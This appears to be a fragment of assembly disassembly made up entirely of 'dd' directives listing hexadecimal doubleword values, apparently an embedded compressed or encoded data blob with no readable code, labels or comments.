		dd 0B681D291h, 75393Eh,	0AA51F527h, 4F42EDh, 0E31224A6h
		dd 0F687477Ch, 10939504h, 7C8014BFh, 740A25Ah, 0E802F49Dh
		dd 0F5687791h, 0F856C0DBh, 0D31C25FEh, 28DF582Ah, 89F20380h
		dd 2CE4542h, 5C261CC0h,	405D217Eh, 183CDC18h, 10352350h
		dd 5F00C212h, 0A18FC32h, 60C48554h, 0D031C4D4h,	873C7E1Bh
		dd 4DAF8190h, 0EE41058h, 121760E4h, 0BD90ABCh, 0B68F0882h
		dd 3740EBA0h, 523FD655h, 344380A5h, 0FC570DDBh,	867F00A8h
		dd 104512B5h, 0CC03FA91h, 0CA73B817h, 6BE000E2h, 1182DE4Ah
		dd 55001F62h, 0A48A3E19h, 13399Fh, 0B2EBFB54h, 9CB8C26Ch
		dd 81D40938h, 2978064Fh, 58619E11h, 0F3AFC8h, 0F7DC2074h
		dd 4CFDE002h, 54112300h, 83D24222h, 0D44800C1h,	0C925A7F2h
		dd 0E2021975h, 74A47F72h, 8EC7E0FBh, 71F70EB4h,	85E02CF0h
		dd 0E387831Ch, 500002F2h, 0FA16E98Ah, 3F930BD1h, 851F8DC3h
		dd 4B14032h, 0A83A1029h, 0A27D3Bh, 631277Eh, 3C432Bh, 530C63A1h
		dd 5D93CA24h, 0E01F1FE4h, 0FE3BF8h, 0B2830F28h,	308D8Bh
		dd 0E81E4053h, 6B3C1219h, 1876B3F6h, 4F07F400h,	8A05C283h
		dd 5F3203F5h, 0FFFA9629h, 8625DFB0h, 6A0033FAh,	0F1450B0h
		dd 189F87h, 6F22832Dh, 5940EFF7h, 0BC895407h, 0FAB04975h
		dd 0D1C680h, 83740567h,	724FBA68h, 0F021D605h, 0F780753Bh
		dd 488063h, 74182D7Bh, 0C69F3F3Ch, 8A424B00h, 0D241652Ah
		dd 478100EFh, 17C5625h,	6800625Bh, 12F03918h, 1DBDDA1Ch
		dd 0C07FC9A0h, 564767B6h, 6A4CFE15h, 340015Bh, 9EC75281h
		dd 772F9CCCh, 0BE053E86h, 44CA5900h, 8475F8A7h,	0FC1C400Bh
		dd 0DF3A0953h, 142B080h, 743CC23Bh, 226C000Ah, 0F4CF286Eh
		dd 4DE9009Fh, 254013A9h, 743AE448h, 0F74A829Dh,	60553899h
		dd 0EB75949h, 611DE1ABh, 51889A38h, 790B6603h, 0C88FC743h
		dd 714A610h, 3758E1A5h,	0E4069159h, 8EBD4092h, 4D786599h
		dd 0EA058DECh, 0B8E0A02Fh, 0F08B67C3h, 1B49B7Dh, 5D3EEBC2h
		dd 21E6AD71h, 0CB9A60CBh, 0DBC04D00h, 7C2FBADCh, 63760022h
		dd 5D50EA53h, 691FC973h, 5B1FFC96h, 97B89880h, 1F86D71h
		dd 679D18C2h, 0E0E22D24h, 7C7F1CD7h, 0ADD45C04h, 4980CDD8h
		dd 74F45969h, 0A5270379h, 8867DD25h, 12D865ABh,	5513B2ECh
		dd 20B8D0E5h, 1797EA00h, 0F8A53D23h, 15286728h,	0CCB3DF01h
		dd 484666C4h, 2F55DCh, 99C76806h, 0AB6E1597h, 54B34B33h
		dd 89DDD8CBh, 0A36800CFh, 0DA90E805h, 0B001E2Dh, 71D3A009h
		dd 78F25274h, 12FEB4h, 0E15AE659h, 708EC6Bh, 0C71C6300h
		dd 0BF0244F6h, 0C57284h, 0E28CB895h, 573FC9E4h,	13B07E00h
		dd 1541FF4Dh, 7B3C0040h, 273B9591h, 7800CB69h, 7EFDDA92h
		dd 90C916h, 0D302D088h,	49F3D69Dh, 18000574h, 955B1C36h
		dd 24588496h, 28FFF01h,	4E1E2B2Eh, 0C1574740h, 2894200h
		dd 598CF986h, 3FFCFAh, 78C89F0Ah, 9A4D1025h, 0FD45140h
		dd 53B05297h, 4009EB60h, 3500DE2Ah, 8CEEF992h, 1F5888FDh
		dd 43A63C24h, 2149B11h,	0D15298D0h, 8034F03Bh, 0B948A2FFh
		dd 0FFC097Bh, 0E946DADCh, 4D000D3h, 0D840FD2h, 39EE0200h
		dd 28ECC336h, 768390F6h, 0A350008Fh, 1466D4E2h,	3A00D845h
		dd 0DB138D16h, 39A53EBh, 0BBD3FBACh, 7BE0B603h,	3C00E340h
		dd 0AB866711h, 0E27D049h, 0CF467107h, 801DE800h, 4D7F0326h
		dd 59C11700h, 62478CD5h, 3CD91DB6h, 58CE45D2h, 6F2A8066h
		dd 103BBF86h, 233EAC45h, 4B074703h, 0B4C7E825h,	8230014h
		dd 0A9A1F9CFh, 70F50212h, 2B2C1CBAh, 881D3706h,	1BAC2040h
		dd 0E3D01h, 265A366Bh, 0BF4D50EDh, 0A1CD1C00h, 0A094C3C9h
		dd 453055Dh, 0E1D79C4Ch, 333E818h, 0A4140800h, 0C415BB86h
		dd 582BF01Dh, 5003835Dh, 78AD0364h, 0DEB014EBh,	0F1071EA8h
		dd 1832825Eh, 0C04B050h, 4C9F05D3h, 80DE7E75h, 83E9D5BEh
		dd 3A1D7B77h, 308F03C9h, 9D14020h, 14266Ah, 48A0AC52h
		dd 2C82B718h, 663DFB98h, 8A98009Dh, 0C321C954h,	2B8E2699h
		dd 71780158h, 0C4453561h, 0AD001238h, 14EB7F33h, 0B2C4396h
		dd 2F847D18h, 90DDC980h, 324C826h, 3F17E3FBh, 0A1575A00h
		dd 50CFFD2h, 83CD3B24h,	87D30023h, 0F210D455h, 127D600h
		dd 0B018C0F1h, 24C4070Eh, 302814BDh, 40CB439h, 0B376871Dh
		dd 0C884B900h, 17E902h,	0A2DD47E8h, 7E82F0BCh, 0B143A300h
		dd 0F37D08E2h, 0FA3D0364h, 1EF2FF4Fh, 387FEDF8h, 81430400h
		dd 0BFB31853h, 0BA0250A7h, 1EE2003Ch, 93843042h, 0D05C20F4h
		dd 40DE0052h, 2C34E4A1h, 0BD8500F8h, 5938C843h,	7A000BFCh
		dd 0C9535F84h, 2E8822h,	0B8C10104h, 4E603F10h, 3437BF1Fh
		dd 0C7E50A03h, 6575C8FCh, 537D00FFh, 28521BC1h,	90011D45h
		dd 74F685A5h, 55200F5Fh, 8B391ED1h, 0E5803AEEh,	0FDC44BAFh
		dd 0F202A6FBh, 3E642C25h, 0E018425Ch, 68548Ch, 96F809A4h
		dd 75FF9240h, 18492201h, 8E9BF12Fh, 4320C121h, 0C6B055h
		dd 0F4C5E987h, 422B610Ah, 0E8408200h, 9A57A34Dh, 517D0332h
		dd 0D444C960h, 0F77E88B0h, 3F509600h, 225BA38h,	0A786007Bh
		dd 6C8331C1h, 0F000CD71h, 3624EB62h, 53FE04h, 0F7E88AFBh
		dd 4B1E433Ah, 0A078756Fh, 8CE2FF03h, 11D507FBh,	0E0DE9421h
		dd 7EF0E599h, 84233200h, 31D016A9h, 96544C9Eh, 4A210075h
		dd 20622464h, 97EA433Ch, 18850400h, 0B2557329h,	486A02F3h
		dd 2BF0F449h, 35C5CBE0h, 90A93700h, 93075DD3h, 2AE10010h
		dd 5FEB5530h, 0BD008018h, 2FD73B3Eh, 0E30D72h, 730E1F3Dh
		dd 2ACAC106h, 81FEBECh,	87C3F83Ah, 0E8E6E375h, 5E9F8Eh
		dd 0DC102DC0h, 0F61CE881h, 16442200h, 0BC88EFC3h, 7B92004Fh
		dd 84FE2D2Ah, 0E60F5053h, 0C04BAC4Dh, 29A1E0E8h, 89853F42h
		dd 9CF58C81h, 0ECA83EF4h, 0DDEADAC7h, 1CBC530Eh, 0EE4B609Bh
		dd 0EE4692Ch, 5427D2A5h, 89051360h, 12006BA4h, 3C9FFB5Bh
		dd 1107053h, 88E22A11h,	0D9182134h, 4C0DD851h, 87493800h
		dd 50A28C91h, 907515h, 8041FAD2h, 406AF633h, 30FFE21Dh
		dd 902D7580h, 0F66070Bh, 5A4D3881h, 78832400h, 7400E03Ch
		dd 82801E4Bh, 768F303h,	5615FC99h, 8108A023h, 4500503Eh
		dd 27414C6h
		dd 38F6B572h, 3CF069FCh, 24006AF0h, 0EB4EBB28h,	0FE744A5Dh
		dd 1A83121Ch, 5F1F0240h, 90136574h, 72D9008Dh, 841464DBh
		dd 0EB730C62h, 7839F602h, 6031B849h, 5021F8FCh,	79E7C53Fh
		dd 34BA3E46h, 91005FD8h, 525AB774h, 0D5002367h,	8E037F86h
		dd 5C16EB3Ch, 0DA00CB77h, 0C8D0D73h, 0D103DD33h, 7B84CF21h
		dd 9C963B04h, 0E490E58Bh, 0C4C5700h, 0BE006C5Bh, 4EC426A3h
		dd 265EA10h, 0D08FABBCh, 0AA406982h, 900F4916h,	770A120h
		dd 6B77880Ah, 0C689AC90h, 31FC020Eh, 0CACF49C9h, 0B2C09740h
		dd 0C87030FCh, 19E98800h, 0B6F28AF1h, 66182708h, 784BA077h
		dd 89351209h, 440E0C34h, 0DA1C4275h, 9B803E80h,	0D2F75BD3h
		dd 25D100E4h, 57AD089h,	0B928C8ECh, 4B00C4B7h, 72D54442h
		dd 6B0EBh, 2ECBE1F3h, 16867799h, 0B4C30330h, 5F547Dh, 50B9B3A7h
		dd 33135CEAh, 0AF530100h, 58AE9E35h, 28680FA0h,	5C60B55Fh
		dd 50895294h, 59B18500h, 8A0BD123h, 0D8800002h,	0A126758h
		dd 42F05F2Eh, 0F0754905h, 0B7ECA1B0h, 92BDC00h,	0F35D5AF9h
		dd 79A55401h, 0E5957458h, 29FD7280h, 5BC85614h,	0D7FCD200h
		dd 9857701Ah, 78402E4Ch, 6040729h, 0F44AF0A3h, 0BF00FE41h
		dd 1D17BD82h, 0E6E3E80Bh, 2585002Dh, 0C65A4F78h, 733F61B2h
		dd 1B770019h, 0AE933B3Ah, 591A2675h, 0BA8100DDh, 3021C2Fh
		dd 86EFD81Dh, 54971100h, 3C3969Bh, 8A0A9BCh, 0D1D848EBh
		dd 2A383988h, 16E6F91Bh, 52432D00h, 0E923BCC7h,	20B8F2h
		dd 18583BBDh, 2F73820Fh, 4F93B200h, 22C43DAAh, 591004F0h
		dd 8394E22Dh, 51B360E9h, 0D5B80CB0h, 0B9013100h, 0D75C2042h
		dd 0B871E645h, 13F270B5h, 173EFE08h, 272F0039h,	0BAF7E07Eh
		dd 893055FEh, 80093AF4h, 0B72009F1h, 0C58302F9h, 0FFE8B204h
		dd 0CD9E567Ch, 6A513800h, 9A9C73h, 95880813h, 977CB85Ah
		dd 0C5BBF400h, 1561EA0Ah, 0F1100003h, 4912510Dh, 0A4581D0Eh
		dd 802C3F8Ah, 5E077562h, 0F8CA28h, 48EFE842h, 0A0E0FF96h
		dd 65E4C800h, 0DFBCBA95h, 7C60000Bh, 44AE545Fh,	0AD7BE093h
		dd 6972000h, 1A2643C6h,	4EB0001h, 7893DD0Dh, 540022CCh
		dd 2C085011h, 1E6D799Fh, 4057F12Dh, 730989F0h, 4600C630h
		dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
		dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h,	0D5C5876Bh
		dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
		dd 1EBB92D4h, 6328100h,	8E004E4h, 0D81F00DCh, 0A8F355D3h
		dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh,	4F1A180h
		dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
		dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
		dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h,	0F64A05BCh
		dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
		dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
		dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h,	0EBE0176h
		dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
		dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
		dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
		dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
		dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
		dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h,	5C38591Eh
		dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
		dd 3EC510Bh, 454500B5h,	1E05BAD4h, 5077D2Eh, 0FEAA81C4h
		dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
		dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h,	8D2B60FBh
		dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
		dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
		dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
		dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
		dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
		dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
		dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
		dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
		dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h,	29EC4B35h
		dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh,	7F319177h
		dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
		dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h,	0A94210h
		dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
		dd 0E01A57FCh, 293865h,	0D8DB3BA7h, 345D36E3h, 6C12A5EEh
		dd 0BBF49Bh, 6A0FE00Eh,	0EBEC9D01h, 1A0A9900h, 0ABC48688h
		dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
		dd 0EAD7C0h, 994AD02Dh,	0A436A010h, 763E8800h, 7D540AFDh
		dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
		dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
		dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
		dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
		dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
		dd 669CDC88h, 7CCF842h,	6C4617B6h, 0A034B021h, 64394C9Eh
		dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
		dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
		dd 13AEDCCh, 54203D61h,	0F8430C7Fh, 8FA34B1h, 0C422B900h
		dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
		dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
		dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh,	1EE83724h
		dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
		dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
		dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h,	0BF69D852h
		dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
		dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
		dd 0AD8D79h, 28FCD489h,	9C3A7D72h, 572EEA00h, 86CA3E62h
		dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h
		dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h
		dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h
		dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h
		dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh
		dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h
		dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh
		dd 52E22C92h, 0A46DA7h,	0B3446BEFh, 0C308BB43h,	0CA535026h
		dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h
		dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh
		dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh
		dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh
		dd 6581E542h, 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh,	714FBh
		dd 646885BDh, 162F8629h, 8AEAAC00h, 0E455121Ch,	4A4800F7h
		dd 278358E0h, 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h
		dd 0B4517F52h
		dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h
		dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h,	0A6000354h
		dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h,	0B8A0D73Ah
		dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h
		dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah
		dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh
		dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh
		dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch,	209FBD8Eh
		dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h
		dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h,	2147D3BDh
		dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h,	0CB010FFFh
		dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh
		dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh
		dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h
		dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh
		dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h
		dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h
		dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh
		dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h
		dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh
		dd 0A9165Ch, 55FC4492h,	51930Fh, 0CF10B22h, 16F8678Bh
		dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h
		dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch
		dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h
		dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h,	33C0EFA5h
		dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh
		dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h
		dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h
		dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h
		dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh
		dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h
		dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h
		dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h,	7507846h
		dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh,	61E9E0E5h
		dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h
		dd 5C087D00h, 3F840ADh,	0B93500B4h, 0EF8B0689h,	0A5EE795Dh
		dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h,	0E800244Ch
		dd 592556AFh, 12EB007h,	0C8471F8Ah, 0E44E4034h,	49004423h
		dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
		dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h,	0BF366425h
		dd 1A296A80h, 185FE17h,	72F107A6h, 0D08E924Dh, 0EB007534h
		dd 0D04AD58Bh, 20BA61h,	0E36E9E65h, 408D85E1h, 80CFAA00h
		dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh,	0C8D6ADB2h
		dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h,	0BFFE0156h
		dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h,	0C3F43CE9h
		dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
		dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh,	0D9008275h
		dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
		dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h,	9FAB7200h
		dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
		dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
		dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
		dd 0C7555Ah, 8870540Eh,	3C9EDF8Fh, 0FF72E300h, 5DADC815h
		dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
		dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
		dd 7222DCh, 0AF202414h,	0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
		dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh,	22261993h
		dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h,	111F32E3h
		dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh,	4E00A471h
		dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h,	60230400h
		dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h,	5FEB2CF9h
		dd 117865h, 0BFE65AF1h,	0BB245818h, 7C8270BFh, 827C1CE8h
		dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
		dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
		dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
		dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h,	5F2400D5h
		dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
		dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
		dd 57C1564h, 51E4B816h,	0FC30D205h, 90B0897Fh, 0ABE80041h
		dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
		dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
		dd 1FF200Fh, 558DB13Dh,	80A54724h, 13FA8347h, 0BF089916h
		dd 438CA500h, 110C648h,	0AD4A3063h, 0E8A8C40Eh,	0B2002A69h
		dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
		dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
		dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
		dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
		dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
		dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
		dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
		dd 217E3B6Ch, 6580898h,	0E0001486h, 0A9298E0Bh,	3F407DDCh
		dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
		dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h,	0BBB32927h
		dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
		dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh,	8DFCA54Bh
		dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
		dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h,	5DC62CBCh
		dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh,	3B974014h
		dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
		dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
		dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch,	85EA1465h
		dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
		dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h,	40E59D03h
		dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h,	770740DEh
		dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
		dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h,	14046B22h
		dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
		dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
		dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
		dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h
		dd 421C8028h, 27038C3h,	9678732Eh, 6B1EDD00h, 201018h
		dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh
		dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch
		dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h
		dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h
		dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h
		dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h
		dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h
		dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h
		dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h,	3A47519h
		dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h,	4022E34h
		dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch
		dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h
		dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h,	90C0204h
		dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h
		dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h
		dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h
		dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h
		dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch,	0A7C43818h
		dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h,	4C70253Ch
		dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h,	51766CF1h
		dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h,	0C64B972h
		dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h
		dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh,	6AC24225h
		dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh
		dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h
		dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh,	0EAFC6101h
		dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h
		dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh,	319C0C56h
		dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh
		dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh
		dd 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h
		dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h
		dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h
